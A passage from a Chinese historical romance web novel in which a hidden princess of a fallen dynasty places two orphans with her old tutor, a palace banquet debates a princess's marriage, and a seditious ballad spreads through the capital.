三三摸了摸她脑袋,笑道:“去找另一个爷爷,以后你和哥哥就住那了。”
“那另一个爷爷也会治病吗?”
“不会,但会教你们读书习字。”
一直沉默走在边上的孟岸闻言眼睛都亮了,自从家里出事之后,他再也没读过书了。
三三察觉到他热烈激动的视线,笑道:“到时候到地方了,你们就知道了。”
自那日以后,程书白日里跟往常一样开书铺卖书,日暮之后就关门,与平常做生意的店家并无两样,只是月上梢头时,时不时就在院中仰月长叹。
三三带着孟岸孟双来时,程书正点燃书房的蜡烛。
“殿……三三,你这是?”程书一见她便要脱口而出殿下二字,但甫一见到这一大一小的两个孩子,立马又将那二字给吞了回去。
“先生,这是孟岸和孟双。”三三笑道。
程书没再问,将三人迎了进来。
烛影明灭间,三三与程书各坐一边,两小孩就站三三面前。
三三简单将孟岸孟双的身世告知了程书,借着说话的缝隙看向墙面,却见那幅画已然被收了起来,眼下只有烛火下几人的身影。她不做声色地收回视线,程书捋着胡须,一直打量着孟岸,仿佛没瞧见三三的异样。
“你父亲可是吏部考功司孟凝?”程书眼神盯着孟岸。
他的眼神过于犀利,仿佛像把刀要把他整个人都剖开看得一清二楚。孟岸心里打着鼓,下意识看向三三,见三三点点头,便鼓足了勇气朝程书道:“回先生,我父确是孟凝。”
程书又道:“吏部考功司郎中孟凝,主管官吏考课、升迁、变动一事,你父亲乃前朝大晋官员,已归顺大楚,我知道他这个人,为人和善,不好阿谀奉承,做事谨慎,张弛有度,若是一直如此,虽不能说位极人臣,倒也能仕途平坦顺遂,何故被人构陷下狱,甚至匆匆结案以至性命全无?”
28. 留在书铺
孟岸眼眶通红,泪水在眼窝里不断打转,倏然扑通跪地:“先生说得极是,我父亲做事极为谨慎,可不知哪里做错了什么,又得罪了何人,以至全家命丧黄泉,徒留我和年幼的妹妹在人间苟且偷生。我信我父亲为人,可我实在是不知是谁构陷父亲害我全家!”
他双手撑地奋力地磕头,咚咚咚几下,额头很快便出了血,顺着眼眶流下颇为可怖,一旁的孟双顿时哭出了声。
“我不知先生究竟是何人,但我信三三姐,还请先生教我兄妹二人读书习字,日后有机会替父报仇!”
说罢,那一旁站着的孟双也跟着哥哥跪地磕头。
程书见他二人如此情真意切,叹了口气,将孟岸孟双扶了起来,蹲下身子看着他们二人道:“好孩子,我也是前朝臣子,如今开着间书铺以谋生计,养你二人长大倒不是难事。”
他拿出帕子小心地给孟岸擦着额头上的鲜血:“只是生活艰朴,不知你二人可否受得住?”
一开始孟岸还以为他是个不苟言笑十分严肃的老头,如今被他如此温柔擦拭额头,之前的惧怕早已消失殆尽,自从家里出事之后,他跟妹妹二人东躲西藏,夜宿街头,吃不饱穿不暖不说,还要日日跟人打架、跟狗打架,就为了抢那点吃食。眼下被人如此真切关心,顿时忍不住放声大哭了起来。
“受得住!再苦再难都受得住!”
程书摸着他头,又摸了摸孟双的脑袋,眼含热泪地频频点头:“好孩子!好孩子啊!”
三三看着他们,恍惚间想起了当年被卖的自己。
她偏了偏头,半响才故作轻松道:“好啦好啦都别哭啦!先生您快带着他们去住处看看。”
她蹲下身子拉过孟双,轻轻给她擦拭脸上的泪痕,安慰道:“好啦好啦,别哭了哦,爷爷留下你和哥哥了,以后你们不仅可以住这,还可以跟着爷爷读书习字,再也不用担惊受怕啦。”
孟双双手捂脸呜咽,三三只得将她抱在怀里轻拍背以示安慰。
程书带着孟岸去院子里打水洗额头,三三哄了好一会孟双,见人终于不哭了,才带着俩小孩去院子西边那两间空房。
程书虽然只住了一间房,平日里用得最多的还是书房,但这些闲置的房子也时常打扫,因此灰尘也不是很多,再稍微打扫一下今晚就能住人了。
程书年纪大了,三三便带着孟岸孟双两人打水清扫、铺垫套被,约莫半个时辰就一切打扫妥当了。
三三见他二人今日情绪起伏如此之大,怕是心神难静,便让二人早些歇息,想着临走前跟程书说一声,推门而出时便又拐弯去了书房。
程书不知何时又将那幅画像给找了出来,但他没挂上墙,只摊开在书案上,手里捧着那盏烛灯仔细端详。
“殿下,这幅画您要不要带回去?”程书听见脚步声,知晓是三三来了。
三三站在一旁,又仔仔细细看了一遍画像上的人,半响才道:“还是放先生这吧,我那里没什么地方可以放,也不安全。”
程书拿起剪刀将那多余的烛线给剪了一下:“也是,那还是暂且放我这吧。”
他放下剪刀,又问三三:“殿下为何要带那两兄妹来我这呢?”
三三沉默须臾,过了会才道:“一则我信那孟岸所说他父亲是被冤枉的,二则,是因为我看他们太可怜了,就像看到了当初在集市上被卖的自己。”
“如果当初不是老板娘买下了我,我也会成为到处流浪的小乞丐吧。”三三扯了扯嘴角。
程书闭了闭眼,须臾才沉默地放下烛灯缓缓收起了那画卷。
三三见他如此沉默,知道他又自责了,便扯开了话题:“既然先生当初找到了那农户,那那块玉佩的下落他们没说吗?”
“他们说本想留着那玉佩当传家宝来着,但是当时闹饥荒闹得太厉害了,没办法只得卖给了个行商,我追问那行商模样,他们说不出个大概,只说人穿金带银很是阔气,来往都是商队作伴。我猜这人多半是那走南闯北的行商,要想找到无异于大海捞针,便只好放弃回了东京城。”程书将画卷收好放进了身后书架的最顶端。
三三本以为是那对夫妇说什么都不肯还玉佩,没想到竟然是这样,看来再想寻到那玉佩是难上加难了。
“殿下,那孟氏兄妹住我这,那您的身份可要告知他们?”程书问道,三三身份敏感,若是被出卖了,后果不堪设想。
三三沉默了片刻,才道:“我还没有告诉他们,我也没想好要不要告诉他们,他们年纪尚小,等长大点再说吧。”
程书捋着胡须点头:“殿下说得是,此二人心智尚弱,若是被人利用,恐怕会误了大事。”
三三突然想到了什么,又问:“先生此前说过,大晋的许多文臣武将都归顺了大楚,温将军也是,这温将军可是我母亲的父亲?”
程书点点头:“温老将军确是温贵妃的父亲,当时温老将军见大晋大势已去,率先归顺了大楚,如今已然致仕,在府中颐养天年,不问世事,现在的温将军,是温贵妃的同胞亲兄,也就是殿下的舅舅。”
“既如此,我长得如此像母亲,会不会……会不会被人认出来?”
程书见她终于问到了,叹了口气才道:“我也正有此担忧,殿下与温贵妃长得如此相像,若是被温家人看到了,定会一眼认出。”
三三不自觉地蜷了蜷手指:“认出是好事还是坏事呢?”
“好,也不好,”程书又叹了口气,他知晓三三长这么大从未体验过有亲人的感觉,但很多时候,亲情也是把双刃剑,“说好,是因为殿下终于能够与亲人相认团聚;说不好,是因为殿下的身份,若是温将军认您,那他会怎么样呢?是选择让您认祖归宗从此撇下大晋王室的身份,以温家女的身份活于世间,还是,还是选择将您交给大楚皇帝呢?”
三三蜷缩的手指骤然握紧,力道之大以至在掌心抠出了血痕她都恍若不觉。
亲人。
程书又继续道:“再比如,温将军要是想拥您复晋呢?”
三三握紧的拳头松开又聚起,聚起又松开,如此反复,到最后才察觉到掌心传来丝丝疼痛。
她摊开手,在烛火下紧紧盯着那不断涌出的丝丝血液。
血脉亲情,究竟为何?
三三想这个问题想了许久,尚未等她想明白时,除夕已然到了。
除夕夜向来是热闹的,锣鼓喧天,唱戏的梨园班子早早就入了东京,吃过年夜饭便
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扮上了妆容登台,戏台上唱得是什么三三没有仔细听,但看那角笑得见牙不见眼,想来也是那贺新年的曲子。台下的老少妇孺们听得津津有味,不时叫好,甚至有人还往台上扔铜板子。
三三站在人群中,忽而感到有点孤独。
她转身离去,独自一人在那熙熙攘攘的人群中逛着,瞧着那街上灯火通明,亮如白昼,来往嬉笑玩闹的少男少女面上都扬着笑意,好不快活。
三三漫无目的的逛着,瞥见那卖彩灯的商贩,不自觉就站定了。
幼时她很怕黑,可是农户家没有钱买煤灯,她独自一人睡在柴房十分害怕,总是会趁农户夫妇睡着了去厨房蹲在烧火的坑前,待那余下的炭火一点一点变黑,她也一点一点睡着。后来来了酒楼,老板娘也不喜在房里点煤灯,她便也没有灯。
后来某年除夕,她用攒了很久很久的铜板买下了一盏方形灯笼,回去的路上很是开心,可是那商贩用的燃芯十分大,买的时候看着亮堂无比,可是回去之后没过一晚,那灯芯就烧没了。
她站在卖灯的铺子前许久,久到买灯的人走了一茬又一茬,终于在老板不耐烦地又问她买不买之前掏出了银子。
“我要这个兔子灯。”三三递过钱,接过那耀眼的兔子灯就走了。
想不通就不想了,早晚会有答案的。
“兔子灯?”裴景明疑惑问道,“宫里哪来的兔子灯?你若是想要,明日我让人带进宫给你便是了。”
裴朝朝脚下踩着薄雪,双手摊开拦住了他的去路,不依不饶道:“不行,今日我就要!”
裴景明警告似地抬头看了她一眼:“再过片刻,除夕夜宴便要开始了,你别给我找事。”
裴朝朝丝毫不怵他,继续拦路:“今日不给我也成,但你得答应我件事。”
裴景明见她终于露出真正目的了,戏谑道:“你先说,我再考虑要不要答应你。”
“待会席上,若是父皇提及我与那谢序川的婚事,比如要定良辰吉日完婚之类的,你得给我说情,打消父皇这个念头。”
裴景明屈指摸了摸下巴:“这要怎么说情?若是真有良辰吉日了,你早完婚晚完婚不都得完婚吗?”
裴朝朝瞪着他:“怎么说情那是你的事,我不管,我还小,我今年才十八,我不要这么早就成婚。”
大楚女儿以往多是十七八就成亲了,但随着国力渐强,百姓日子过得越来越好,更有女子入朝为官,许多女子都选择像男子一样读书参加科举,如此一来,女子在二十以后才成婚更显常态,更有甚者二十四五才完婚。
裴景明故作疑惑:“你之前都说不要跟谢序川成婚,如今却说不要那么早成婚,怎么,你接受他了?”
裴朝朝耳朵一红,微微低头,没接他的话,只问:“你答不答应?”
裴景明又问:“那你先告诉我,你为什么不想那么早成婚?”
成婚多好,若是可以,他也想成婚的。
“因为成婚了,我就不能那么自由了,我还有很多事情没有做呢。”
“比如呢?”裴景明不由得好奇了起来。
“比如,比如我也要入朝,当个有实权的公主!”裴朝朝高昂着下巴两眼放光。
29. 除夕夜宴
除夕夜宴,到场的除了后宫嫔妃、皇室宗亲,便是些明武帝钦点的重臣,以及与公主有婚约的谢序川。
丝竹之声绕耳不绝,一茬接一茬地奏乐起舞看得人眼花缭乱,裴景明跟着众人给明武帝敬酒,竟然不知不觉就喝了好几杯,虽然他酒量尚可,但他一向不喜多饮酒,况且他现在还是个病秧子,再饮就露馅了。
于是在裴文谦起身给他敬酒时,他面色微红地稍稍向轮椅后靠去,眼睛瞧着某处一动不动,看起来有些呆滞无神,瞧着像不胜酒力早已喝醉,裴文谦嘴里恭贺的话顿时哽在喉头,只好作罢,转头去敬了裴瑜宁。
那座上的明武帝正跟温将军说着什么,眉头时不时就蹙起,那额头上的纹路皱得能夹死一只苍蝇。
杨公公伺候明武帝多年,早就简在帝心,见状立马轻声岔开了话题:“陛下,奴婢瞧元安王好似喝醉了,要不要让御膳房那边送碗醒酒汤来?”
明武帝一听,皱紧的眉头立马松开不自觉撑大了眼睛,本来就瘸,身体又不好,还喝酒!这还了得!
“赶紧让人送过来,”明武帝见下面的皇子臣子们个个喝得也是脸上绯红,十分糟心,“给每个人都送份上来,怎么朕一个没看住,都喝成这个鬼样子了!”
温将军一直候在一旁陪明武帝说话,倒是没来得及喝酒,眼下清醒得很,他虽是个武将,可生得十分白净,刚入军中还被人笑话是小白脸,起初还会跟人急眼打架,后来自个想通了,与其作口舌之争,不如凭本事说话。多年征战下来,一身军功足以说明他的能耐。
他微微侧头看了一眼,见一群要醉不醉的文臣武将中竟然还立着个清醒的,当即仰着下巴笑道:“陛下,您看,那谢大人还是个清醒的呢。”
明武帝循着他说的方向看去,竟然发现那谢序川还十分清醒,眼神还时不时暗中打量着对面的谁,明武帝顺着他的视线看去,发现这小子暗中瞧着的竟然是裴朝朝!
明武帝当即忍不住乐呵道:“谢卿啊,你在看什么呢?”
底下的人要说喝醉,那是真不可能,但个个都是装醉的好手,见明武帝问话了,都跟着好奇又八卦地看了过去,更有甚者也问:“谢大人,您看什么呢?”
谢序川被那么多双眼睛盯着也不紧张,双手交叉冲明武帝行了个礼,镇定自若道:“回陛下,微臣没在看什么,只是这美酒太过醇厚美味,一时忍不住竟然发呆回味了起来。”
明武帝也不戳穿他,笑着看底下一门心思吃甜点的裴朝朝:“朕四年前给谢卿和公主朝朝赐了婚,眼下一晃而过你们都大了,也是时候该完婚了。”
裴朝朝正挖着那甜点最里面的软糕,手里握着的金勺顿时停住了。
她下意识地就去看对面的谢序川,结果正好对方也在看她,两人的视线对上,裴朝朝看了一会,率先忍不住错过了目光。
谢序川心里说不上来是什么感觉,此前他虽然对这份婚约不喜,但这是祖父和明武帝定下的,他也没有心上人,定了就定了吧。但没想到那公主却是十分不喜,三番五次地跟明武帝闹着退婚,他听说之后,想来是那公主不喜他,便自请去了外地任官,后来祖父年纪大了,时常写信催他回京,他拗不过,便回来了。
那日合作仪式上,他拉住了要摔向地面的裴朝朝……
谢序川不知道该怎么接明武帝这话,沉默着没有开口。
裴朝朝见他不说话,不知道是在气什么,用力把那金勺甩向桌面,起身走到大殿中央跪了下来。
“父皇!儿臣不要那么早就成婚!”裴朝朝双膝跪地,腰板挺得很直。
明武帝注意到了她的说辞,以前这丫头说得可是不要和谢序川成婚,如今却说不要那么早成婚,莫不是这二人有了进展了?
但他面上仍然端了一副威严相,沉声问道:“不要那么早成婚?你今年十七,准备成婚的事情向来繁琐,一通忙活下来就该明年了,明年你就十八了,成婚不刚刚好吗?”
裴朝朝却一个劲儿地摇头:“不好!我还那么年轻,为什么要那么早就成婚?我还有很多事情要去做的!”
明武帝手搭在扶椅上,虽然心里很好奇这个小女儿所说要做的事情是什么,但还是竖起了眉头:“你有什么事情要做?朕看你成日里不是在宫里捉弄这个就是戏耍那个,要么就是想尽法子出宫去玩,你倒是说说,你有什么事情要做?”
裴朝朝梗着脖子,硬气道:“父皇你只看到了我休息的时候,却没看到我认真读书的时候!我要做的事情很多,比如我也要跟哥哥们一样,学着替父皇分忧!”
明武帝那向来抿紧的嘴唇此刻终于忍不住笑了,但很快他又收了起来,端着那严厉的模样训斥道:“胡闹!你身为女儿家,早日成亲生儿育女,相夫教子才是正道!”
裴朝朝丝毫不怵他,眼神直直盯着明武帝:“父皇!我也是您的孩子,既然如此,为何我不能参与政事?!难道就因为我是女子吗?可是我朝自开国以来一直都有公主参与政事的啊!”
她这话说得不错,大楚自开国以来,前几代的公主很少参政,但后面几代渐渐多了起来,尤为厉害的公主如伯昭长公主甚至辅佐当时的皇帝创下了太平盛世,女子也是自那时开始被允许参与科举,入朝为官。
裴景明慢悠悠喝着醒酒汤,饶有兴趣地看着这个妹妹跟明武帝对论,他抬眼看向谢序川,却见这人面上毫无表情。
这是什么意思?不赞成?还是赞成?
明武帝虽然心里很是高兴,但他不得不考虑英国公谢家,谢家会要一个这样的孙媳吗?
他看了眼倔驴似一直昂首挺胸跪着的裴朝朝,又看来眼侧边那个面无表情的谢序川。
明武帝清了下嗓子:“谢卿,你以为公主的决定如何呢?”
谢序川起身来到殿中央,跟着跪在了裴朝朝身侧,磕头顿首:“回陛下,微臣以为公主所说不无道理,公主愿意参与政事替陛下分忧,臣倍感欢喜,与有荣焉。”
明武帝挑了挑眉:“谢卿说得可是真心话?”
“微臣所说字字真心,绝无虚言。”
明武帝点点头,心中甚为满意。
“既然公主这么有心,那好,朕最近有一桩烦心事,你去替朕查清,若是查清了,朕便允你参与政事,缓几年再成亲,若是你查不清,那你就收拾收拾准备跟谢序川完婚吧。”
裴朝朝顿时笑弯了眼,顿首谢道:“谢父皇!”
明武帝没好气道:“别谢那么早,崔相,把那谣言一事告诉她。”
右下方的崔相一直在边闷声喝醒酒汤边看这出皇家好戏,没成想明武帝又点了他,赶紧放下手中喝了半
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碗的醒酒汤,起身朝明武帝行了个礼,又回身朝众人朗声道:“近来东京城里面流传了首歌谣,不知道诸位有没有听过。”
底下的人也纷纷低声议论了起来:
“什么歌谣啊?”
“歌谣?难道是那个……”
“哪个哪个?究竟是什么歌谣啊?”
“什么歌谣啊?”裴朝朝听着众人低声议论,迫不及待地追问崔相。
那崔相年过五十,但说话慢得跟六七十的一样,众人都眼巴巴地看着他。
“那歌谣是这么唱的——晋无德,已灭国,楚王绝,有亏德,女子祭祀以通天,天道有言晋子在,回身剑指崇德殿,江山回坐晋王人。”
“额滴老娘,竟然真是这首!”
“这歌谣是不是在……”
“崇德殿?那不就是现在的政务殿?!”
崔相将那歌谣道出之后,底下的议论声骤然沸腾了起来。
裴景明紧蹙着眉头,沉默不语,他看向站在明武帝身侧的温将军,若有所思。
温将军的亲妹就是大晋的温贵妃,看来明武帝刚刚是在向他求证温贵妃是否育有子嗣?
底下跪着的裴朝朝趁着大伙都在议论,微微低下头,侧身悄悄问起了一旁的谢序川:“谢序川,你说这事好查吗?”
谢序川也跟着悄悄道:“看起来不太好查。”
裴朝朝泄了口气,又悄悄打量了一下他,低声问道:“你想和我早日成婚吗?”
谢序川没料到她会如此问,一时间竟然哑巴了,见裴朝朝还睁着美眸侧头看他,磕磕绊绊道:“都听、听公主的。”
裴朝朝又问:“那你能帮我一起查吗?”
谢序川哑然失笑,原来目的在这呢。
“公主若是开口,谢某自当全力以赴助公主查明。”
裴朝朝弯起眼眸,冲他甜甜一笑:“有谢大人这话,我就放心了。”
明武帝对底下这两人的小动作看得一清二楚,忍不住冷哼了两声,若不是当年答应了英国公,他才不会轻易把唯一的女儿嫁给这臭小子!
裴朝朝得到了想要的答案,又挺直了腰板,朗声压下了底下其他人的议论:“崔相的话我已听清,父皇放下,儿臣定早日查清此事!”
明武帝瞧着她那胸有成竹的模样,不由好笑:“既如此,你俩也别跪着了,回去坐着吧。”
宴席嘛,吃吃喝喝才是主要的正事,若是有八卦可听那也好,但若是领了差事,那可就苦哈哈了。
裴朝朝回到席位上时,见裴景明还在喝醒酒汤,凑过去小声唤了声:“二哥。”
裴景明恍若不闻,继续喝汤。
裴朝朝也不戳穿他,小手在桌底下指了指温将军的方向,低声道:“二哥你看那温将军,像谁?”
裴景明此前早已从谢序川那里知晓了三三跟温家人长得相像,眼下裴朝朝再次提起,他也不甚意外。
“温将军长得白净,三三也长得白净,若是三三女扮男装的话,倒是与温将军像个七八分。”
裴景明懒懒掀起眼皮,故作惊讶:“原来你上次说三三姑娘长得像个人就是像温将军?”
裴朝朝点点头,大胆假设:“是啊,真的很像,三三真的跟温将军没有血缘关系吗?莫不是温将军流落在外的女儿?”
30. 歌谣四起
裴景明放下醒酒的汤碗,手指一点一点在扶椅上敲着,温将军的私生女这个可能可以率先排除,一则温将军与夫人感情甚睦,且育有二子,不太可能会有私生女。二来,这温将军确实有个胞妹,胞妹生的孩子说不定跟舅舅长得相似,可当年温家说温贵妃所生是个皇子,因为早产体弱,很快便夭折了。
可如果不是温贵妃的孩子,为什么三三会跟温将军长得相像?又为什么前朝太子太傅会出现在三三身侧?
裴景明心里一沉,温家人在隐瞒真相。
裴朝朝见他轻声敲着轮椅扶手,也不敢出声打扰他思考,待那敲声停下,她才继续道:“二哥近来可忙啊?”
裴景明似笑非笑:“想让我帮你?”
裴朝朝跟个老实鹌鹑一样乖乖点头。
“可以啊,但是你要不要问问另外两位兄长呢?”裴景明抬起下巴,见对面的裴瑜宁和裴文谦一直在盯着自己,忍不住挑衅道,“我看那两位是积极得很,你要不要问问?”
裴朝朝顺着他下巴仰指的方向看去,只见另外两位兄长目光十分热烈,裴朝朝心想,要是她开口他们肯定立马帮忙,但是这样一来他们就会抢她功劳!
思及此,裴朝朝立马连连摇头摆手:“不了不了,大哥和三哥忙得很,我就不打扰他们了。”
“你的意思是我比较闲?”裴景明故意问道。
裴朝朝大惊失色,又连连摇头:“我不是那个意思,我是说二哥对我比较好,不像大哥和三哥……”
虽然四兄妹都不是一母同胞,但裴瑜宁和裴文谦向来眼高于顶,母家又十分显贵,自然瞧不起她美人出身的生母,况且她生母也早早去世了。若不是裴景明的生母见她可怜,央着明武帝一同抚养她,她说不定都长不了这么大呢。
裴景明笑了笑,不再逗她,只道:“你刚刚说三三可能是温将军流落在外的女儿,这也不是不可能。若是好奇,不如去问问三三姑娘?”
裴朝朝拿起刚刚甩出去的金勺,准备继续挖刚刚没有挖到的内馅:“这不好吧?我听说那三三姑娘是个孤儿,若是贸然这么直问,万一最后查明不是亲人,她得多伤心啊。”
裴景明心道,是不是亲人她恐怕早已知晓,若是不想是亲人,她有一万个法子说不是。
“也是,那你别问了。”
三三自是不知那除夕夜宴上的事,但年初三刚过她准备去给先生拜个年,在路上就听到了此前在百花楼没听清楚的谣言。
“晋无德,已灭国,楚王绝,有亏德,女子祭祀以通天,天道有言晋子在,回身剑指崇德殿,江山还坐晋王人。”三三喃喃重复着这首歌谣,手里紧紧捏着包枣糕,待都回过神来时才发觉枣糕早已变了形,又急匆匆地重新买了一份。
程书给三三倒了杯热茶,轻声道:“殿下,喝口热茶吧。”
三三握住茶杯,脸色急切:“先生,东京城里突然就流传起了这首歌谣,眼下官兵正在四处抓传唱的乞儿。”
“我知道,殿下,”程书望着那茶杯热气不断袅袅上升,叹道,“此事是我疏忽了。”
“先生何出此言?”
程书抬起满是皱纹的眼皮,突然起身转了方向,朝着三三双膝跪地:“殿下,此事是老臣的错,老臣约束下属不利,以至让殿下暴露。”
三三本来是很急切的,因为不知道这歌谣究竟是谁传出来的,知不知道她的存在,但眼下程书这一跪,她便知道了。
她喝了口热茶,热水下肚,身子渐渐暖和起来。
“还请先生直说。”
程书叹了口气:“我在东京城辅佐殿下,为着复国一事,也在不断联系许多旧部,这些人曾受过先王恩泽,感念先王恩德,也都表示愿意追随殿下光复大晋。”
“从一开始的几百几千到现在,我们的暗探人手也有了一两万,但殿下一直没有提过复国的事情,底下人不免有些急躁,竟然瞒着我,利用先前通天教祭祀的事情创了这首歌谣,我年前在街上偶尔会听到几句,但听不全,也不以为意,只以为是民间不满楚王自发传唱的,后来除夕过后,这歌谣传得越来越广,我听全了才恍然大悟。”
程书低着头,三三看不清他脸上的神情,他真的不知道吗?还是他故意装作不知道?
三三沉默须臾,没像往常那样扶他起来,只问了句:“先生也想我复国吗?”
程书倏然抬起头,眼里的情绪十分激烈:“自然是想的!”
三三又轻声问:“可是先生,复国必然要掀起战争,天下乱,百姓苦,复国之路注定了流血和牺牲,值得吗?”
程书沉默不语,三三又道:“我自幼长于东京城,日子过得勉强,但也不至于有性命之忧,可我也知道,若是我生于乱世,当早已命丧黄泉。”
“如果掀起复国战争,又会有多少人颠沛流离、妻离子散呢?”
程书沉默了很久,久到跪着的膝盖都麻了也没有回答三三的问题。
三三不忍心他一把年纪了还跪那么久,虽然才五十多,可毕竟也不年轻了,跪久了伤身。
“这歌谣先生还是让人停下传诵吧,不然恐怕会被人利用。”三三扶着他胳膊想拉他起身,可程书却一动不动。
他反手拉住三三的胳膊,千言万语汇在喉头却道不出他最想说的话。
他深深看着三三,最终只道:“殿下如今已然十八,尚未取个正式的名字,可想好了取什么名?”
他话题转变如此之快,饶是三三也跟不上,愣了一瞬她才道:“名字?”
程书继续道:“名字,既蕴含着父母长辈对晚辈的美好希冀,也代表了一个人的理想信念,殿下是时候给自己取个名字了。”
“先生不替我取吗?”三三忍不住问道。
程书低下头:“殿下身份尊贵,老臣不敢替先王给殿下取名。”
三三往手里加了点力气,一把将程书给拉了起来,笑道:“这有什么,我听闻太傅给皇子公主取名的不少,先生可别谦虚了。”
程书摇了摇头,说什么都不肯替三三取名。不是他不愿,是他想让三三想清楚,她究竟想做个什么样的人。
三三拗不过他,想了想,又问道:“大晋皇室是何姓氏?”
程书双手搭在膝上轻揉着:“姓周。”
“那我姓周是不是不太合适,容易暴露啊?”三三怕要是姓了周,加上她这样貌,恐怕会被人猜出点什么,她犹豫道,“或者跟我母亲姓,姓温?”
姓温好像也不行吧?待会真被人误以为是温家人,再顺藤摸瓜给摸了出来……
程书笑了笑,可那笑意并未达眼底:“殿下如今也长大了,跟着老臣读书也有十余载了,很多事情,殿下该仔细想想了。”
三三听出他的话外之音,应了声好,便不再多说,眼见要到晌午了,三三便去厨房张罗着给先生做点午食。
孟岸和孟双自从在程书这里住下之后,不仅身体比从前更好了,人也更活泼了。
孟岸三两下就捋起袖子帮三三去切肉杀鱼,孟双在水池边乖乖地洗菜择菜。
三三手里的活被孟岸抢了去,便蹲在火坑边烧火热锅。
“孟岸,你和妹妹在这里住着怎么样?开心吗?”三三从角落里扯了几根粗壮的木柴过来,又塞了把细细的木柴进去,火引子一点没多久就升起了烟。
孟岸一手摁着活蹦乱跳的鱼,一手扬起刀柄,重重一锤就把那垂死挣扎的鱼给砸晕了:“好着呢阿姐,真是多亏了您,不然我和双双还不知道在哪挨饿受冻呢。”
三三抱起身侧根粗一点的木柴扔进火里,笑道:“缘分吧。”
孟岸有点不好意思地放慢了片鱼的动作,红着脸慢吞吞道:“阿姐,当时抢你饼……真是对不住啊。”
三三正专心盯着那点火苗呢,闻言只是笑了笑:“没事,当时觉得你这个半大小子倔得很,饼后来是拿回去给孟双了吧?”
孟双一直竖着耳朵听,听见这话,立马细声细气道:“当时我饿得太难受了,一直在哭,哥哥没办法,才……”
三三见火势大了起来,回身去水池边洗手:“我知道呀,没有怪你们,为了活命罢了。”
三三看着她洗菜的双手十分粗糙骨感,那手腕还没有她三根手指粗,她想了想又问:“我看你们最近过得应该还不错,但也没长什么肉,往后要多吃一点啊。”
她从内袋里掏出个沉甸甸的小黑袋,孟双手沾了水,不好拿,三三便放到了水池边:“爷爷这儿平日里没什么活,你们多半是在书铺里帮忙,这钱你们拿着,若是想吃什么便自个拿去买。”
孟双摘菜的手立马扬了起来,手上沾得水珠甩来甩去,有几滴还溅到了三三脸上,她把小黑袋往三三怀里塞:“不不不,我们不能要,姐姐对我们已经很好了,这钱我们不能要。”
孟岸片好了鱼,正洗着排骨准备砍呢,一听这话立马激动地举起了排骨喊道:“我们不能要!”
三三侧头见那排骨还在往外渗血,手不自觉往上指了指:“你要不先放下那排骨呢?”
孟岸反应过来,赶紧又把排骨给丢回了水里,水花溅起的同时他三步并两步来到了三三跟前:“阿姐,这钱我们真不能要,我们在这里住也花不了什么钱,爷爷隔三岔五就会给我们零用钱。”
三三诧异地微微挑了挑眉,先生竟然还给他们零用钱。
“是啊是啊,姐姐,这钱我们真不能要。”孟双又往三三怀里塞了塞。
三三见拗不过他们,只好作罢:“那行,但你们记住啊,若是日后有需要用钱的地方,只管来找我。”
孟岸和孟双一大一小连连点头,频率相同的模样活像两只频频
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打瞌睡的小鸭,看起来有点好笑。
三人齐心合力地忙活饭菜,没多久四菜一汤就好了。
程书出来时见着桌子上摆着如此丰盛的饭菜,忍不住笑道:“你们三个小鬼头,倒是做得一手好汤水!”
三三拉开椅子:“先生快坐,尝尝我们的手艺如何。”
程书笑着看了她一眼,挥着手朝三人道:“诶,都坐都坐。”
这饭吃得好,胃舒服,人也舒服,三三早已将刚刚书房里的沉闷抛之脑后,她放下筷子,给先生早已空了的杯子里倒了点热水,见孟岸和孟双还在埋头吃,不由得笑出了声。
虽然二人能吃,但身子骨还是那么瘦弱,三三便侧头问程书:“先生,可否让武师傅教他们二人一点防身武艺?”
“防身武艺?”
“对,他们二人身子骨还是太差了,我想是不是练练武,身子骨能强起来呢?”
程书捋着胡须,打量着那两兄妹,半响才道:“殿下至今也没有培养起来暗卫,不如就以他二人开头如何?”
三三诧异地看向程书,内心又有点小激动,培养自己的暗卫?
“培养暗卫是不是得花好多钱啊?”三三小声问道,以前她听说书人说戏时总会听到戏文里的主人公为了培养暗卫、死士什么的花了不少钱,结果出任务不小心死了,不仅人没了,钱也没了。
程书被她这副财迷样逗笑了:“殿下放心,我们有钱。”
“我们哪来的钱啊?”三三疑惑道,程书就开着个小书铺,平日里靠着卖书借书什么的,也赚不到多少钱。
程书低声道:“王陵,王陵里面藏了个金库,此库是先王年轻时特意让人建的,当时的督办人正是老臣。”
!!
三三顿时瞪大了眼睛:“那没被大楚皇帝发现吗?”
程书摇摇头:“当时所谓建金库,也只是在王陵边上另开辟了个库房,每岁贡赋都会抽三成运入金库,名面上是为了运大理石建王陵,实则运输的箱子下面都是黄金,此事只有先王和老臣知道,其余知道的人,早已带着秘密永远闭上了嘴。”
三三这下眼睛瞪得更大了,永远闭上了嘴,说明人都被杀了。
程书见她如此惊讶,倒也没说什么,只道:“自古以来,秘密之所以是秘密,背后必然少不了鲜血。”
三三恢复神色,程书说得对,秘密二字本身就是血写成的。
“那就让先生教他们读书习字,武师傅教他们武艺?”三三问。
程书慢悠悠捋着胡须,今日天稍微暖和了一点,正值午后时分,日头也出来了,他们在院子里吃饭,晒得人暖烘烘的。
他靠在椅子后,捏起茶杯:“这样也好,只是武不群还没回来,待他回来之后再告诉他此事吧。”
武不群自从教会三三武艺后,就一直时不时被程书派出去,有时候一两个月就会回来,有时候半年才回来,三三早已习惯。
酒足饭饱后,三三便打算帮忙收拾桌子,结果孟岸孟双拦着她,愣是不让她去收拾,三三只好作罢。
三三眼见时辰不早了,便溜溜达达地慢慢走回酒楼,她手里拿着把孟双塞给她的瓜子,边嗑边走,像往日一般眼观六路耳听八方。
她正嗑着手里最后一颗瓜子,突然听到身后传来了马车疾驰的声音,还伴着些惊慌失措的叫喊声。三三猛然回头,只见那车夫正慌里慌张地想去扯那缰绳,结果这人技术不行,悬着身子忙活了半天都没扯到,那马儿受惊之后跑得越发快,一下就撞了好几个百姓滚地哀嚎,眼见那马蹄高高扬起就要落下踩扁那嚎啕大哭的三岁小儿,三三箭步飞起,手里握着的瓜子皮一把洒向那马,趁着马没缓过神,又赶紧一把捞过那小儿,旋身蹬上了马背,眼疾手快拉住了缰绳,再用力一扯,那马儿终于停了下来。
那车夫惊魂未定,额头冷汗频频往下流淌,见众人围了上来指指点点骂他,他这才回过神来下车朝三三道谢。
“多谢、多谢女侠救命!”
三三将那三岁孩子递给他,踩着马镫下马,刚刚用力过猛,膝盖好像咔嚓响了一下,三三忍着痛,面色如常:“没事,下次驾车注意。”
车夫抬起袖子不住擦汗,连连应道:“是是是,我这次出来匆忙,急着去接我们家公子,一时操作不当这才……幸好得了姑娘相助,不然我可就造孽了!”
